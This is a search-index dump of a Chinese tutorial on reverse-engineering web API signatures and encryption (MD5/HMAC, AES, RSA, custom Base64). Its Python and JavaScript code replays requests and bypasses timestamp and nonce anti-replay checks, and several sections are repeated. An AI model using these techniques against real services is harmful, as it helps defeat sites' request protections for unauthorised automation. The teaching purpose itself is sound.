内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#总结"},{"categories":null,"collections":null,"content":"API 逆向与重放攻击 掌握 API 签名逆向，实现脱离浏览器的自动化请求。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:0:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#api-逆向与重放攻击"},{"categories":null,"collections":null,"content":"配方信息 项目 说明 难度 ⭐⭐⭐ (中级) 预计时间 1-4 小时 所需工具 Chrome DevTools, Python/Node.js 适用场景 API 签名破解、参数加密分析、请求伪造 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:1:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#配方信息"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 HTTP/HTTPS 协议 必需 HTTP/HTTPS 协议 Web API 与 Ajax 必需 Web API 与 Ajax Hook 技术 必需 Hook 技术 加密算法识别 推荐 加密算法识别 Chrome DevTools 推荐 浏览器开发者工具 💡 提示: API 逆向是实现自动化爬取的关键步骤。掌握本配方后，你将能够脱离浏览器，用脚本直接调用目标网站的 API。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:2:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#-前置知识"},{"categories":null,"collections":null,"content":"学习目标 完成本配方后，你将能够： ✅ 快速定位 API 签名算法 ✅ 分析常见的签名结构 (MD5/SHA/HMAC) ✅ 处理时间戳、Nonce 等动态参数 ✅ 实现完整的 API 重放攻击 ✅ 编写自动化脚本调用 API ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:3:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#学习目标"},{"categories":null,"collections":null,"content":"核心概念 逆向的最终目的通常不是为了看代码，而是为了调用 API。我们需要搞清楚客户端是如何构造请求的，以便我们在脚本中脱离浏览器伪造请求。 API 逆向的核心是以假乱真 —— 让服务器无法区分请求来自浏览器还是自动化脚本。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:4:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#核心概念"},{"categories":null,"collections":null,"content":"1. 签名参数分析 (Signature Analysis) 大多数现代 API 都有签名机制，防止参数被篡改。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#1-签名参数分析-signature-analysis"},{"categories":null,"collections":null,"content":"1.1 常见签名结构 基础哈希签名 # MD5 签名 sign = MD5(param1=a\u0026param2=b\u0026timestamp=123456\u0026salt=xxxx) # SHA256 签名 sign = SHA256(user_id + timestamp + secret_key) # 多层签名 sign = MD5(SHA256(params) + salt) HMAC 签名 # HMAC-SHA256（更安全，防彩虹表） import hmac import hashlib def generate_hmac_sign(params, secret_key): message = \"\u0026\".join([f\"{k}={v}\" for k, v in sorted(params.items())]) return hmac.new( secret_key.encode(), message.encode(), hashlib.sha256 ).hexdigest() 自定义签名算法 // 某电商平台的魔改签名 function customSign(params) { let str = Object.keys(params) .sort() .map((k) =\u003e params[k]) .join(\"\"); // 魔改的 MD5：增加了位移和异或操作 let hash = md5(str); return hash.split(\"\").reverse().join(\"\").substring(0, 16); } ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#11-常见签名结构"},{"categories":null,"collections":null,"content":"1.1 常见签名结构 基础哈希签名 # MD5 签名 sign = MD5(param1=a¶m2=b×tamp=123456\u0026salt=xxxx) # SHA256 签名 sign = SHA256(user_id + timestamp + secret_key) # 多层签名 sign = MD5(SHA256(params) + salt) HMAC 签名 # HMAC-SHA256（更安全，防彩虹表） import hmac import hashlib def generate_hmac_sign(params, secret_key): message = \"\u0026\".join([f\"{k}={v}\" for k, v in sorted(params.items())]) return hmac.new( secret_key.encode(), message.encode(), hashlib.sha256 ).hexdigest() 自定义签名算法 // 某电商平台的魔改签名 function customSign(params) { let str = Object.keys(params) .sort() .map((k) =\u003e params[k]) .join(\"\"); // 魔改的 MD5：增加了位移和异或操作 let hash = md5(str); return hash.split(\"\").reverse().join(\"\").substring(0, 16); } ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#基础哈希签名"},{"categories":null,"collections":null,"content":"1.1 常见签名结构 基础哈希签名 # MD5 签名 sign = MD5(param1=a¶m2=b×tamp=123456\u0026salt=xxxx) # SHA256 签名 sign = SHA256(user_id + timestamp + secret_key) # 多层签名 sign = MD5(SHA256(params) + salt) HMAC 签名 # HMAC-SHA256（更安全，防彩虹表） import hmac import hashlib def generate_hmac_sign(params, secret_key): message = \"\u0026\".join([f\"{k}={v}\" for k, v in sorted(params.items())]) return hmac.new( secret_key.encode(), message.encode(), hashlib.sha256 ).hexdigest() 自定义签名算法 // 某电商平台的魔改签名 function customSign(params) { let str = Object.keys(params) .sort() .map((k) =\u003e params[k]) .join(\"\"); // 魔改的 MD5：增加了位移和异或操作 let hash = md5(str); return hash.split(\"\").reverse().join(\"\").substring(0, 16); } ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#hmac-签名"},{"categories":null,"collections":null,"content":"1.1 常见签名结构 基础哈希签名 # MD5 签名 sign = MD5(param1=a¶m2=b×tamp=123456\u0026salt=xxxx) # SHA256 签名 sign = SHA256(user_id + timestamp + secret_key) # 多层签名 sign = MD5(SHA256(params) + salt) HMAC 签名 # HMAC-SHA256（更安全，防彩虹表） import hmac import hashlib def generate_hmac_sign(params, secret_key): message = \"\u0026\".join([f\"{k}={v}\" for k, v in sorted(params.items())]) return hmac.new( secret_key.encode(), message.encode(), hashlib.sha256 ).hexdigest() 自定义签名算法 // 某电商平台的魔改签名 function customSign(params) { let str = Object.keys(params) .sort() .map((k) =\u003e params[k]) .join(\"\"); // 魔改的 MD5：增加了位移和异或操作 let hash = md5(str); return hash.split(\"\").reverse().join(\"\").substring(0, 16); } ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#自定义签名算法"},{"categories":null,"collections":null,"content":"1.2 签名还原步骤 第一步：观察变量规律 在 Network 面板发送 5-10 个请求，记录所有参数的变化： 请求序号 timestamp nonce user_id sign 1 1638360000 abc123 1001 5f8e9d2a… 2 1638360003 def456 1001 7a3b1c4e… 3 1638360005 ghi789 1001 2d6f8e1b… 分析规律: timestamp: 每次递增，Unix 时间戳 nonce: 随机字符串（6 位） user_id: 固定值 sign: 每次都不同 → 依赖于其他参数 第二步：定位签名逻辑 方法 1: 关键字搜索 // 在 Sources 面板搜索以下关键字 sign; signature; _sign; generateSign; md5; sha; encrypt; 方法 2: XHR Breakpoint 在 DevTools 中设置 URL 断点： Network → 右键请求 → “Replay XHR” Sources → XHR/fetch Breakpoints → 添加 URL 关键字（如 /api/） 刷新页面，自动断在发包前 方法 3: Hook XMLHttpRequest/fetch // 注入到页面最前面（Console 或 Tampermonkey） (function () { const _open = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { console.log(\"[XHR]\", method, url); if (url.includes(\"/api/data\")) { debugger; // 发送 /api/data 请求前自动断点 } return _open.apply(this, arguments); }; })(); 第三步：算法识别 标准算法识别 特征 算法 输出长度 字符集 [0-9a-f] MD5 32 字符 字符集 [0-9a-f] SHA1 40 字符 字符集 [0-9a-f] SHA256 64 字符 字符集 [A-Za-z0-9+/=] Base64 编码 任意长度，能被 4 整除 字符集 [A-Za-z0-9] 自定义编码 需要分析具体逻辑 在代码中查找特征码 // MD5 特征：初始化向量 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 // AES 特征：S-Box 表 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5... // RSA 特征：大素数运算 modPow, BigInteger, 0x10001 (常见公钥指数) 第四步：复现签名算法 案例：某视频网站签名 逆向发现签名逻辑： // 浏览器中的签名函数 function getSign(videoId, timestamp) { const salt = \"h5@video#2024\"; const raw = `videoId=${videoId}\u0026ts=${timestamp}\u0026salt=${salt}`; return md5(raw).toUpperCase(); } Python 复现： import hashlib import time def get_sign(video_id, timestamp=None): if timestamp is None: timestamp = int(time.time()) salt = \"h5@video#2024\" raw = f\"videoId={video_id}\u0026ts={timestamp}\u0026salt={salt}\" return hashlib.md5(raw.encode()).hexdigest().upper() # 测试 sign = get_sign(\"BV1xv4y1X7Yp\") print(sign) # 输出：E8A7F2D3C1B9... ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#12-签名还原步骤"},{"categories":null,"collections":null,"content":"1.2 签名还原步骤 第一步：观察变量规律 在 Network 面板发送 5-10 个请求，记录所有参数的变化： 请求序号 timestamp nonce user_id sign 1 1638360000 abc123 1001 5f8e9d2a… 2 1638360003 def456 1001 7a3b1c4e… 3 1638360005 ghi789 1001 2d6f8e1b… 分析规律: timestamp: 每次递增，Unix 时间戳 nonce: 随机字符串（6 位） user_id: 固定值 sign: 每次都不同 → 依赖于其他参数 第二步：定位签名逻辑 方法 1: 关键字搜索 // 在 Sources 面板搜索以下关键字 sign; signature; _sign; generateSign; md5; sha; encrypt; 方法 2: XHR Breakpoint 在 DevTools 中设置 URL 断点： Network → 右键请求 → “Replay XHR” Sources → XHR/fetch Breakpoints → 添加 URL 关键字（如 /api/） 刷新页面，自动断在发包前 方法 3: Hook XMLHttpRequest/fetch // 注入到页面最前面（Console 或 Tampermonkey） (function () { const _open = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { console.log(\"[XHR]\", method, url); if (url.includes(\"/api/data\")) { debugger; // 发送 /api/data 请求前自动断点 } return _open.apply(this, arguments); }; })(); 第三步：算法识别 标准算法识别 特征 算法 输出长度 字符集 [0-9a-f] MD5 32 字符 字符集 [0-9a-f] SHA1 40 字符 字符集 [0-9a-f] SHA256 64 字符 字符集 [A-Za-z0-9+/=] Base64 编码 任意长度，能被 4 整除 字符集 [A-Za-z0-9] 自定义编码 需要分析具体逻辑 在代码中查找特征码 // MD5 特征：初始化向量 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 // AES 特征：S-Box 表 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5... // RSA 特征：大素数运算 modPow, BigInteger, 0x10001 (常见公钥指数) 第四步：复现签名算法 案例：某视频网站签名 逆向发现签名逻辑： // 浏览器中的签名函数 function getSign(videoId, timestamp) { const salt = \"h5@video#2024\"; const raw = `videoId=${videoId}\u0026ts=${timestamp}\u0026salt=${salt}`; return md5(raw).toUpperCase(); } Python 复现： import hashlib import time def get_sign(video_id, timestamp=None): if timestamp is None: timestamp = int(time.time()) salt = \"h5@video#2024\" raw = f\"videoId={video_id}\u0026ts={timestamp}\u0026salt={salt}\" return hashlib.md5(raw.encode()).hexdigest().upper() # 测试 sign = get_sign(\"BV1xv4y1X7Yp\") print(sign) # 输出：E8A7F2D3C1B9... ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#第一步观察变量规律"},{"categories":null,"collections":null,"content":"1.2 签名还原步骤 第一步：观察变量规律 在 Network 面板发送 5-10 个请求，记录所有参数的变化： 请求序号 timestamp nonce user_id sign 1 1638360000 abc123 1001 5f8e9d2a… 2 1638360003 def456 1001 7a3b1c4e… 3 1638360005 ghi789 1001 2d6f8e1b… 分析规律: timestamp: 每次递增，Unix 时间戳 nonce: 随机字符串（6 位） user_id: 固定值 sign: 每次都不同 → 依赖于其他参数 第二步：定位签名逻辑 方法 1: 关键字搜索 // 在 Sources 面板搜索以下关键字 sign; signature; _sign; generateSign; md5; sha; encrypt; 方法 2: XHR Breakpoint 在 DevTools 中设置 URL 断点： Network → 右键请求 → “Replay XHR” Sources → XHR/fetch Breakpoints → 添加 URL 关键字（如 /api/） 刷新页面，自动断在发包前 方法 3: Hook XMLHttpRequest/fetch // 注入到页面最前面（Console 或 Tampermonkey） (function () { const _open = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { console.log(\"[XHR]\", method, url); if (url.includes(\"/api/data\")) { debugger; // 发送 /api/data 请求前自动断点 } return _open.apply(this, arguments); }; })(); 第三步：算法识别 标准算法识别 特征 算法 输出长度 字符集 [0-9a-f] MD5 32 字符 字符集 [0-9a-f] SHA1 40 字符 字符集 [0-9a-f] SHA256 64 字符 字符集 [A-Za-z0-9+/=] Base64 编码 任意长度，能被 4 整除 字符集 [A-Za-z0-9] 自定义编码 需要分析具体逻辑 在代码中查找特征码 // MD5 特征：初始化向量 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 // AES 特征：S-Box 表 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5... // RSA 特征：大素数运算 modPow, BigInteger, 0x10001 (常见公钥指数) 第四步：复现签名算法 案例：某视频网站签名 逆向发现签名逻辑： // 浏览器中的签名函数 function getSign(videoId, timestamp) { const salt = \"h5@video#2024\"; const raw = `videoId=${videoId}\u0026ts=${timestamp}\u0026salt=${salt}`; return md5(raw).toUpperCase(); } Python 复现： import hashlib import time def get_sign(video_id, timestamp=None): if timestamp is None: timestamp = int(time.time()) salt = \"h5@video#2024\" raw = f\"videoId={video_id}\u0026ts={timestamp}\u0026salt={salt}\" return hashlib.md5(raw.encode()).hexdigest().upper() # 测试 sign = get_sign(\"BV1xv4y1X7Yp\") print(sign) # 输出：E8A7F2D3C1B9... ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#第二步定位签名逻辑"},{"categories":null,"collections":null,"content":"1.2 签名还原步骤 第一步：观察变量规律 在 Network 面板发送 5-10 个请求，记录所有参数的变化： 请求序号 timestamp nonce user_id sign 1 1638360000 abc123 1001 5f8e9d2a… 2 1638360003 def456 1001 7a3b1c4e… 3 1638360005 ghi789 1001 2d6f8e1b… 分析规律: timestamp: 每次递增，Unix 时间戳 nonce: 随机字符串（6 位） user_id: 固定值 sign: 每次都不同 → 依赖于其他参数 第二步：定位签名逻辑 方法 1: 关键字搜索 // 在 Sources 面板搜索以下关键字 sign; signature; _sign; generateSign; md5; sha; encrypt; 方法 2: XHR Breakpoint 在 DevTools 中设置 URL 断点： Network → 右键请求 → “Replay XHR” Sources → XHR/fetch Breakpoints → 添加 URL 关键字（如 /api/） 刷新页面，自动断在发包前 方法 3: Hook XMLHttpRequest/fetch // 注入到页面最前面（Console 或 Tampermonkey） (function () { const _open = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { console.log(\"[XHR]\", method, url); if (url.includes(\"/api/data\")) { debugger; // 发送 /api/data 请求前自动断点 } return _open.apply(this, arguments); }; })(); 第三步：算法识别 标准算法识别 特征 算法 输出长度 字符集 [0-9a-f] MD5 32 字符 字符集 [0-9a-f] SHA1 40 字符 字符集 [0-9a-f] SHA256 64 字符 字符集 [A-Za-z0-9+/=] Base64 编码 任意长度，能被 4 整除 字符集 [A-Za-z0-9] 自定义编码 需要分析具体逻辑 在代码中查找特征码 // MD5 特征：初始化向量 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 // AES 特征：S-Box 表 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5... // RSA 特征：大素数运算 modPow, BigInteger, 0x10001 (常见公钥指数) 第四步：复现签名算法 案例：某视频网站签名 逆向发现签名逻辑： // 浏览器中的签名函数 function getSign(videoId, timestamp) { const salt = \"h5@video#2024\"; const raw = `videoId=${videoId}\u0026ts=${timestamp}\u0026salt=${salt}`; return md5(raw).toUpperCase(); } Python 复现： import hashlib import time def get_sign(video_id, timestamp=None): if timestamp is None: timestamp = int(time.time()) salt = \"h5@video#2024\" raw = f\"videoId={video_id}\u0026ts={timestamp}\u0026salt={salt}\" return hashlib.md5(raw.encode()).hexdigest().upper() # 测试 sign = get_sign(\"BV1xv4y1X7Yp\") print(sign) # 输出：E8A7F2D3C1B9... ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#第三步算法识别"},{"categories":null,"collections":null,"content":"1.2 签名还原步骤 第一步：观察变量规律 在 Network 面板发送 5-10 个请求，记录所有参数的变化： 请求序号 timestamp nonce user_id sign 1 1638360000 abc123 1001 5f8e9d2a… 2 1638360003 def456 1001 7a3b1c4e… 3 1638360005 ghi789 1001 2d6f8e1b… 分析规律: timestamp: 每次递增，Unix 时间戳 nonce: 随机字符串（6 位） user_id: 固定值 sign: 每次都不同 → 依赖于其他参数 第二步：定位签名逻辑 方法 1: 关键字搜索 // 在 Sources 面板搜索以下关键字 sign; signature; _sign; generateSign; md5; sha; encrypt; 方法 2: XHR Breakpoint 在 DevTools 中设置 URL 断点： Network → 右键请求 → “Replay XHR” Sources → XHR/fetch Breakpoints → 添加 URL 关键字（如 /api/） 刷新页面，自动断在发包前 方法 3: Hook XMLHttpRequest/fetch // 注入到页面最前面（Console 或 Tampermonkey） (function () { const _open = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { console.log(\"[XHR]\", method, url); if (url.includes(\"/api/data\")) { debugger; // 发送 /api/data 请求前自动断点 } return _open.apply(this, arguments); }; })(); 第三步：算法识别 标准算法识别 特征 算法 输出长度 字符集 [0-9a-f] MD5 32 字符 字符集 [0-9a-f] SHA1 40 字符 字符集 [0-9a-f] SHA256 64 字符 字符集 [A-Za-z0-9+/=] Base64 编码 任意长度，能被 4 整除 字符集 [A-Za-z0-9] 自定义编码 需要分析具体逻辑 在代码中查找特征码 // MD5 特征：初始化向量 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 // AES 特征：S-Box 表 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5... // RSA 特征：大素数运算 modPow, BigInteger, 0x10001 (常见公钥指数) 第四步：复现签名算法 案例：某视频网站签名 逆向发现签名逻辑： // 浏览器中的签名函数 function getSign(videoId, timestamp) { const salt = \"h5@video#2024\"; const raw = `videoId=${videoId}\u0026ts=${timestamp}\u0026salt=${salt}`; return md5(raw).toUpperCase(); } Python 复现： import hashlib import time def get_sign(video_id, timestamp=None): if timestamp is None: timestamp = int(time.time()) salt = \"h5@video#2024\" raw = f\"videoId={video_id}\u0026ts={timestamp}\u0026salt={salt}\" return hashlib.md5(raw.encode()).hexdigest().upper() # 测试 sign = get_sign(\"BV1xv4y1X7Yp\") print(sign) # 输出：E8A7F2D3C1B9... ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#第四步复现签名算法"},{"categories":null,"collections":null,"content":"2. 加密参数分析 除了签名，很多 API 会对整个请求体或敏感参数加密。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:6:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#2-加密参数分析"},{"categories":null,"collections":null,"content":"2.1 AES 加密 特征识别 // 代码中可能出现的关键字 CryptoJS.AES.encrypt; crypto.createCipheriv(\"aes-128-cbc\"); Cipher.getInstance(\"AES/CBC/PKCS5Padding\"); 案例：某登录接口 浏览器代码： function encryptPassword(password) { const key = CryptoJS.enc.Utf8.parse(\"1234567890abcdef\"); const iv = CryptoJS.enc.Utf8.parse(\"abcdef1234567890\"); const encrypted = CryptoJS.AES.encrypt(password, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); return encrypted.toString(); // Base64 格式 } Python 复现： from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 def encrypt_password(password): key = b'1234567890abcdef' iv = b'abcdef1234567890' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(password.encode(), AES.block_size)) return base64.b64encode(encrypted).decode() # 测试 print(encrypt_password(\"MyPassword123\")) ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:6:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#21-aes-加密"},{"categories":null,"collections":null,"content":"2.2 RSA 加密 通常用于加密 AES 的密钥（混合加密）或登录密码。 提取公钥 // 浏览器中查找 publicKey = \"-----BEGIN PUBLIC KEY-----\\nMIGfMA0GCSqGS...\" // 或从接口返回 GET /api/getPublicKey { \"key\": \"MIGfMA0GCSqGS...\" } Python 复现 from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import base64 def rsa_encrypt(text, public_key_str): public_key = RSA.import_key(public_key_str) cipher = PKCS1_v1_5.new(public_key) encrypted = cipher.encrypt(text.encode()) return base64.b64encode(encrypted).decode() public_key = \"\"\"-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC... -----END PUBLIC KEY-----\"\"\" password_encrypted = rsa_encrypt(\"MyPassword123\", public_key) ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:6:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#22-rsa-加密"},{"categories":null,"collections":null,"content":"2.3 自定义加密算法 案例：某 App 的魔改 Base64 逆向发现它把标准 Base64 字符表打乱了： // 标准 Base64 字符表 const stdTable = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; // 魔改后的字符表（故意打乱） const customTable = \"LMNOPQRSTUVWXYZABCDEFGHIJKabcdefghijklmnopqrstuv0123456789wx+/yz\"; 复现方法: 把混淆后的 Base64 编码/解码函数扣下来，改成 Python。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:6:3","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#23-自定义加密算法"},{"categories":null,"collections":null,"content":"3. 重放攻击 (Replay Attack) 重放是验证逆向成果最简单的方法。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:7:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#3-重放攻击-replay-attack"},{"categories":null,"collections":null,"content":"3.1 简单重放（无时间戳校验） 在 Network 面板右键请求 → “Copy as cURL” 在终端粘贴运行 curl 'https://api.example.com/data?user_id=123\u0026sign=abc123' \\ -H 'User-Agent: Mozilla/5.0' \\ -H 'Cookie: session=xyz' 如果能拿到数据，说明该接口： ✅ 没有时间戳校验 ✅ 没有 Nonce 校验 ✅ 签名有效期很长（或无限期） ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:7:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#31-简单重放无时间戳校验"},{"categories":null,"collections":null,"content":"3.2 高级重放（带时间戳） import requests import time import hashlib def generate_sign(params, salt=\"my_secret_salt\"): \"\"\"生成签名\"\"\" s = \"\u0026\".join([f\"{k}={v}\" for k, v in sorted(params.items())]) s += f\"\u0026salt={salt}\" return hashlib.md5(s.encode()).hexdigest() def api_request(user_id): \"\"\"API 请求\"\"\" params = { \"user_id\": user_id, \"timestamp\": int(time.time()), \"nonce\": hashlib.md5(str(time.time()).encode()).hexdigest()[:8] } params[\"sign\"] = generate_sign(params) response = requests.get( \"https://api.example.com/data\", params=params, headers={ \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\", \"Referer\": \"https://www.example.com/\" } ) return response.json() # 测试 print(api_request(123)) ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:7:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#32-高级重放带时间戳"},{"categories":null,"collections":null,"content":"3.3 Session/Cookie 管理 案例：登录 + API 调用 import requests class APIClient: def __init__(self): self.session = requests.Session() self.session.headers.update({ \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\" }) def login(self, username, password): \"\"\"登录获取 Session\"\"\" response = self.session.post( \"https://www.example.com/login\", data={ \"username\": username, \"password\": self.encrypt_password(password) # 使用前面的加密函数 } ) if response.json()[\"code\"] == 0: print(\"登录成功，Session 已保存\") return True return False def get_user_data(self, user_id): \"\"\"调用需要登录的 API\"\"\" params = {\"user_id\": user_id} params[\"sign\"] = self.generate_sign(params) response = self.session.get( \"https://api.example.com/user/data\", params=params ) return response.json() def encrypt_password(self, password): # 这里调用前面写的加密函数 pass def generate_sign(self, params): # 这里调用前面写的签名函数 pass # 使用 client = APIClient() if client.login(\"myusername\", \"mypassword\"): data = client.get_user_data(123) print(data) ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:7:3","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#33-sessioncookie-管理"},{"categories":null,"collections":null,"content":"4. 防重放机制绕过 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:8:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#4-防重放机制绕过"},{"categories":null,"collections":null,"content":"4.1 时间戳校验 特征 服务器检查 timestamp 是否在当前时间的 ± 60 秒内 旧请求会返回 {\"error\": \"Request expired\"} 绕过方法 import time import ntplib # pip install ntplib def get_server_timestamp(): \"\"\"获取标准时间（防止本地时钟不准）\"\"\" try: client = ntplib.NTPClient() response = client.request('pool.ntp.org') return int(response.tx_time) except: return int(time.time()) # 使用 params = { \"user_id\": 123, \"timestamp\": get_server_timestamp() # 使用标准时间 } ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:8:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#41-时间戳校验"},{"categories":null,"collections":null,"content":"4.2 Nonce（随机数）校验 特征 服务器会缓存最近 10 分钟的所有 nonce 重复的 nonce 会被拒绝：{\"error\": \"Duplicate request\"} 绕过方法 import uuid def generate_nonce(): \"\"\"每次生成唯一的 nonce\"\"\" return uuid.uuid4().hex # 示例：'a8f5f167f44f4964e6c998dee827110c' # 或使用时间戳 + 随机数 import random def generate_nonce_v2(): return f\"{int(time.time())}{random.randint(1000, 9999)}\" 